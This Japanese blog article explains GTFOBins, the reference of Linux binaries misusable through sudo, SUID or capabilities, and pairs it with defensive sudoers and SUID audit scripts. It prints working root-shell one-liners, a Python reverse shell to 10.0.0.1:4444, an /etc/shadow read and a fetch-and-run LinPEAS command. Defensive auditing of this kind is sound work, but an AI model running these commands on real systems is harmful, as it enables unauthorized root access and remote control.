GTFOBins：Linuxシステム管理者のための権限昇格・脱出ツール集

この記事ではセキュリティに特化して解説します。AIセキュリティ全般は サプライチェーンセキュリティ完全ガイド2026｜攻撃手法・防御ツール・実践チェックリスト をご覧ください。

GTFOBinsとは：Linuxバイナリの悪用手法をまとめた公開リファレンス

GTFOBins（Get The F*ck Out of Binaries）は、設定ミスのあるシステムでローカルセキュリティ制限を回避するために悪用できるUnix系実行バイナリを体系的にまとめたオープンなリファレンスです。GitHubで12,900以上のスターを集め、セキュリティコミュニティでスタンダードな参考資料として広く活用されています。

GTFOBinsが記録するのは「バイナリの脆弱性」ではありません。標準的なLinuxコマンドやツールが、適切に制限されていない環境でいかに意図しない方法で使われうるかを記録しています。awk・find・python・bashといった日常的に使うコマンドが、sudo権限の設定ミスやSUID bitの誤設定により、権限昇格・シェル脱出・ファイル読み書き・リバースシェルの手段に転用される仕組みを整理しています。

2026年4月時点でGTFOBinsのリポジトリには 478種類以上のバイナリエントリが収録されています（_gtfobins/ ディレクトリのエントリ数に基づく）。7z から始まり zypper まで、アルファベット順に整理されています。

このリファレンスはペネトレーションテスターだけでなく、防御側のシステム管理者やセキュリティエンジニアにとっても不可欠な知識ベースです。「このバイナリにsudo権限を付与するとどんなリスクがあるか」を事前に把握しておくことで、設定ミスを防げます。

セキュリティの実践的な知識についてはHackerAIも参考になります。

データ構造：YAMLベースの設計

GTFOBinsのGitHubリポジトリ（GTFOBins/GTFOBins.github.io）はJekyllで構築された静的サイトで、すべてのバイナリ情報は _gtfobins/ ディレクトリのYAMLファイルで管理されています。

# _gtfobins/awk.yaml の構造例（概念）
- name: awk
  functions:
    shell:
      - description: "シェルを起動する"
        code: |
          awk 'BEGIN {system("/bin/sh")}'
    sudo:
      - description: "sudoでawkが許可されている場合"
        code: |
          sudo awk 'BEGIN {system("/bin/sh")}'
    file-read:
      - description: "ファイルを読み込む"
        code: |
          awk '//' "$LFILE"
    file-write:
      - description: "ファイルに書き込む"
        code: |
          awk -v LFILE="$LFILE" 'BEGIN { print "DATA" > LFILE }'

このYAML形式により、スクリプトやセキュリティスキャナーからプログラム的にデータを取得できます。セキュリティ自動化ツールとの統合が容易な設計です。

GTFOBinsが分類する実行コンテキスト

GTFOBinsの最大の特徴のひとつは、各バイナリについて実行コンテキスト（どのような権限設定のもとで悪用できるか）を明確に分類している点です。

各コンテキストの説明

実際のコマンド例：代表的なバイナリ

find コマンド（Sudoコンテキスト）

find がsudoで許可されている場合の権限昇格例：

# /etc/sudoers に "user ALL=(ALL) NOPASSWD: /usr/bin/find" がある場合
sudo find . -exec /bin/sh \; -quit

# または -exec を使ってシェルを起動
sudo find /etc/passwd -exec /bin/bash \;

python コマンド（複数コンテキスト）

python は非常に多くのコンテキストで悪用できるバイナリです：

# Shellコンテキスト：制限されたシェルからの脱出
python3 -c 'import os; os.system("/bin/sh")'

# SUIDコンテキスト：python3にSUID bitがある場合
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

# Reverse Shell：攻撃者マシン(10.0.0.1:4444)へ接続
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

awk コマンド（File Readコンテキスト）

# ファイル読み取り：root所有の/etc/shadowを読む（SUID awkがある場合）
LFILE=/etc/shadow
awk '//' "$LFILE"

# シェル起動（Sudoコンテキスト）
sudo awk 'BEGIN {system("/bin/sh")}'

bash コマンド（Capabilitiesコンテキスト）

# cap_setuid+eip が設定されたbashの場合
cp $(which bash) .
sudo setcap cap_setuid+eip bash  # 管理者が誤って設定したケース

./bash -p  # 特権でbashを起動（-p は effective UID を保持）

防御側の活用：攻撃者の視点でシステムを強化する

GTFOBinsは攻撃者のツールとして語られることが多いですが、防御側にとってこそ価値があります。「このコマンドにsudo権限を付与すると何ができるか」を事前に把握することで、sudoers設定の審査が格段に厳密になります。

sudoers設定の審査

# 現在のsudo権限を確認
sudo -l

# 出力例（危険な設定の例）
# (ALL) NOPASSWD: /usr/bin/find
# (ALL) NOPASSWD: /usr/bin/python3
# (ALL) NOPASSWD: /usr/bin/vim

# これらはすべてGTFOBinsでrootシェル取得が可能なバイナリ

sudoers設定の審査スクリプト例：

#!/bin/bash
# sudoers内のGTFOBins掲載バイナリを検出するスクリプト例
DANGEROUS_BINS=(awk find python python3 perl ruby vim nano less more man git docker wget curl nc ncat)

sudo -l | grep -E "NOPASSWD" | while read -r line; do
    for bin in "${DANGEROUS_BINS[@]}"; do
        if echo "$line" | grep -q "$bin"; then
            echo "[WARNING] Potentially dangerous sudo permission: $line"
        fi
    done
done

SUID/SGIDビットの監査

# システム上のSUID/SGIDバイナリを検索
find / -perm /4000 -o -perm /2000 2>/dev/null | sort

# 結果をGTFOBinsのリストと照合して危険なバイナリを特定
# 特に注意が必要なSUID候補: python3, perl, ruby, bash, dash, vim

Linux Capabilitiesの確認

# cap_setuid や cap_net_admin が付与されたバイナリを検索
getcap -r / 2>/dev/null

# 危険なCapabilities例:
# /usr/bin/python3.9 = cap_setuid+eip
# /usr/bin/perl = cap_setuid+eip

CTFとHackTheBoxでの活用

GTFOBinsはCTF（Capture The Flag）やHackTheBoxなどのセキュリティ演習プラットフォームで日常的に参照される資料です。

典型的な使用フロー：

1. 標的システムへの初期アクセスを取得
2. sudo -l・find / -perm /4000・getcap -r / で昇格ポイントを列挙
3. GTFOBinsで検出したバイナリの昇格手法を確認
4. 適切なコンテキスト（Sudo・SUID・Capabilities）の手法を適用

# 典型的な初期調査コマンドシーケンス
id && whoami                    # 現在のユーザーとグループを確認
sudo -l                         # sudo権限の確認
find / -perm -4000 2>/dev/null  # SUID バイナリの検索
getcap -r / 2>/dev/null         # Capabilities の確認
ls -la /etc/cron*               # Cronジョブの確認
cat /etc/passwd                 # ユーザーリストの確認

YAMLデータを活用した自動化

GTFOBinsのデータはYAML形式で公開されており、セキュリティスキャナーへの統合が可能です。

# GitHubからGTFOBinsデータを取得してシステムのリスクを評価する例
import requests
import json

def check_gtfobins_risk(binary_name: str) -> dict:
    """
    GTFOBins APIでバイナリの悪用可能性を確認する
    実際のGitHub APIを使用する場合の例
    """
    api_url = f"https://api.github.com/repos/GTFOBins/GTFOBins.github.io/contents/_gtfobins/{binary_name}.yaml"
    response = requests.get(api_url)
    
    if response.status_code == 200:
        return {
            "binary": binary_name,
            "found_in_gtfobins": True,
            "detail_url": f"https://gtfobins.org/gtfobins/{binary_name}/"
        }
    else:
        return {"binary": binary_name, "found_in_gtfobins": False}

# 使用例
result = check_gtfobins_risk("python3")
print(result)
# {"binary": "python3", "found_in_gtfobins": True, "detail_url": "..."}

競合・類似リソースとの比較

GTFOBinsと同様のカテゴリに属するセキュリティリファレンスを比較します。

GTFOBinsの特徴は機械可読なYAML形式での公開と、実行コンテキスト別の整理です。Windowsの同等リソースとしてはLOLBAS（Living Off the Land Binaries and Scripts）が同じ役割を果たします。

GTFOBinsの限界と注意点

SELinux・AppArmorとの関係

SELinuxやAppArmorが有効なシステムでは、GTFOBinsに掲載されている多くの手法が制限されます。

# SELinuxの状態確認
getenforce
# Enforcing: 多くのGTFOBins手法が制限される
# Permissive: ログは残るが制限はされない
# Disabled: 制限なし

# AppArmorの状態確認
aa-status 2>/dev/null || apparmor_status 2>/dev/null

新しいテクニックの追加方法

GTFOBinsはコミュニティ主導のプロジェクトです。新しいバイナリや手法を発見した場合はプルリクエストで貢献できます：

# 新しいバイナリエントリのYAML形式
# _gtfobins/newbinary.yaml として作成
# - name: newbinary
#   functions:
#     shell:
#       - description: "シェルを起動する"
#         code: |
#           newbinary -c "/bin/sh"

GTFOBinsを活用したセキュリティ教育とトレーニング

GTFOBinsはセキュリティ学習のプラットフォームとしても広く使われています。

CTFでの活用パターン

CTF（Capture The Flag）競技では、Linuxシステムへの初期アクセス後に権限昇格が必要になるシナリオが頻繁に出題されます。GTFOBinsはこの局面での「チートシート」として機能します。

典型的なCTFの権限昇格シナリオ：

# Step 1: 低権限ユーザーでシステムにアクセス後
id
# uid=1001(ctfuser) gid=1001(ctfuser) groups=1001(ctfuser)

# Step 2: sudo権限を確認
sudo -l
# User ctfuser may run the following commands:
#     (root) NOPASSWD: /usr/bin/vim

# Step 3: GTFOBinsで 'vim' の Sudo コンテキストを確認
# → https://gtfobins.org/gtfobins/vim/

# Step 4: 該当する手法を適用
sudo vim -c ':!/bin/sh'
# rootシェルが起動

HackTheBoxのマシンで頻出するバイナリ

HackTheBoxのLinuxマシンで頻繁に活用されるGTFOBinsのバイナリ：

Linuxシステム管理者向けの防御チェックリスト

GTFOBinsの知識を防御に活かすための実践的なチェックリストです。

#!/bin/bash
# セキュリティ監査スクリプト：GTFOBins観点での危険な設定を検出

echo "=== SUID バイナリ監査 ==="
find / -perm -4000 -not -path "/proc/*" 2>/dev/null | sort

echo ""
echo "=== 危険なSUID候補の確認 ==="
DANGEROUS_SUID=(python3 perl ruby bash dash vim nano less more man git)
for bin in "${DANGEROUS_SUID[@]}"; do
    result=$(find / -name "$bin" -perm -4000 2>/dev/null)
    if [ -n "$result" ]; then
        echo "[ALERT] SUID設定のある $bin: $result"
    fi
done

echo ""
echo "=== Capabilities 監査 ==="
getcap -r / 2>/dev/null

echo ""
echo "=== Sudo 権限確認 ==="
echo "このユーザーのsudo権限:"
sudo -l 2>/dev/null

GTFOBinsと関連セキュリティリソースの使い分け

GTFOBinsを最大限活用するためには、関連するセキュリティリソースと組み合わせることが効果的です。

LinPEAS との組み合わせ

LinPEAS（Linux Privilege Escalation Awesome Script）はLinuxシステムの権限昇格可能なポイントを自動スキャンするツールです。GTFOBinsと組み合わせることで、スキャン結果から具体的な昇格手法を素早く特定できます。

# LinPEASでシステムをスキャン
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# 出力に含まれる「Sudo version」「SUID binaries」セクションの結果を
# GTFOBinsで検索して具体的な手法を確認

MITRE ATT&CK フレームワークとのマッピング

GTFOBinsのテクニックは MITRE ATT&CK フレームワークの以下のカテゴリに対応します。

セキュリティフレームワークとGTFOBinsを統合したリスク管理については、HackerAIも参考にしてください。

GTFOBinsの貢献方法とコミュニティ

GTFOBinsはGitHubで活発なコミュニティによって維持されています。新しいバイナリや手法の追加はプルリクエストで行われます。

プルリクエストの作成手順

# 1. リポジトリをフォーク後クローン
git clone https://github.com/YOUR_USERNAME/GTFOBins.github.io.git
cd GTFOBins.github.io

# 2. 新しいバイナリのYAMLファイルを作成
# _gtfobins/newbinary/ ディレクトリまたは .yaml ファイルとして追加

# 3. ローカルでJekyllを起動して確認
bundle exec jekyll serve

# 4. プルリクエストを作成
# タイトル: "Add newbinary - shell, sudo"
# 説明: テストした環境・バージョン・コマンドの説明を含める

YAMLファイルの作成ルールは既存のエントリを参考にしてください。特に重要なのは：

• テスト済みの環境（Linuxディストリビューション・バージョン）を明記すること
• 各手法に対してコード例と説明を含めること
• 既存の分類（shell・sudo・suid・capabilities・file-read・file-write等）に従ってカテゴライズすること

関連記事: サプライチェーンセキュリティ完全ガイド2026｜攻撃手法・防御ツール・実践チェックリスト

対策：自分のホストの SUID を GTFOBins と突き合わせる

GTFOBins は攻撃手法の一覧だが、防御側はそれを「あってはならないものの辞書」として使える。手元の SUID バイナリを収録名と突き合わせ、本来不要なものが混ざっていないかを見る。2026-10-12 に実際に実行した手順を置く。

# ① GTFOBins の収録名を取り出す
git clone --depth 1 https://github.com/GTFOBins/GTFOBins.github.io
ls GTFOBins.github.io/_gtfobins | sed 's/\.md$//' | sort > /tmp/gtfo.txt
wc -l < /tmp/gtfo.txt    # → 478

# ② 自ホストの SUID バイナリを列挙して突き合わせる
find /usr/bin /usr/sbin /bin /sbin -perm -4000 -type f 2>/dev/null \
  | sed 's#.*/##' | sort -u > /tmp/suid.txt
comm -12 /tmp/gtfo.txt /tmp/suid.txt

この記事を書いた Ubuntu 24.04 コンテナで実行すると、SUID は9本（chfn chsh gpasswd mount newgrp passwd su sudo umount）、うち GTFOBins に収録されているのは mount passwd su sudo の4本だった。

ここで「4件ヒットした＝危ない」と読んではいけない。 この4本はいずれも設計上 SUID であるべきもので、GTFOBins の記述も「もともと特権で動く前提」を踏まえたものだ。対策の判断材料になるのは一致件数ではなく、一致した顔ぶれである。

find vim awk tar nmap less が収録されていることは、上の /tmp/gtfo.txt を grep -x すれば確かめられる（python3 は未収録だった。python 名義での収録はある）。これらに SUID が付く正当な理由はまず無いので、出てきたら付与を外すのが対策になる。

# ③ sudoers 経由の抜け道も同じ辞書で見る
sudo -l 2>/dev/null | grep -oE '/[^ ,]+' | sed 's#.*/##' | sort -u | comm -12 /tmp/gtfo.txt -

③は「このユーザーが sudo で実行できるコマンドのうち、GTFOBins に載っているもの」を出す。NOPASSWD で tar や awk を許していれば、そこから root シェルに化ける。緩和策は、sudoers のコマンド許可を GTFOBins 収録名と定期的に突き合わせ、該当したら許可を絞ることだ。

収録の実データ（2026-10-12 時点）

突き合わせの精度は辞書の中身次第なので、こちらも数えておく。_gtfobins には 478本の定義があり、宣言されている機能エントリは 731件。内訳は次のとおり。

shell が228件と突出している。つまり GTFOBins の主用途は「制限環境からシェルを取る」であり、防御側が最初に潰すべきもその経路だと数字が示している。

なおライセンスは GPL-3.0（LICENSE の実体を確認）、直近コミットは 2026-05-27 だった。辞書としては更新が止まり気味なので、新しいディストリ固有のバイナリは別途追う必要がある。

まとめ

GTFOBinsは「LinuxおよびUnix系システムで悪用可能な実行バイナリ」をまとめた、セキュリティコミュニティで不可欠なリファレンスです。478種類以上のバイナリエントリを収録し、Shell・Sudo・SUID・Capabilities・File Read/Write・Reverse/Bind Shellという実行コンテキスト別に整理されています。

攻撃側にとっては、ポスト・エクスプロイテーション時の権限昇格手法を素早く確認するチートシートです。CTFやペネトレーションテストで日常的に参照します。

防御側にとっては、sudoers設定の審査・SUID bitの監査・Capabilitiesの棚卸しの際に「何が危険か」を判断する基準になります。YAML形式でのデータ公開により、セキュリティスキャナーへの自動統合も可能です。

GitHubリポジトリがJekyllベースのYAML構造で管理されているため、コミュニティが継続的に新しいテクニックを追加しています。Linuxシステムのセキュリティに関わるすべてのエンジニアが参照すべきリソースです。

セキュリティの自動化ツールについてはHackerAIも合わせて確認してください。

参照ソース

• GTFOBins/GTFOBins.github.io - GitHub
• GTFOBins 公式サイト
• LOLBAS Project（Windowsの同等リソース）
• Linux Capabilities man page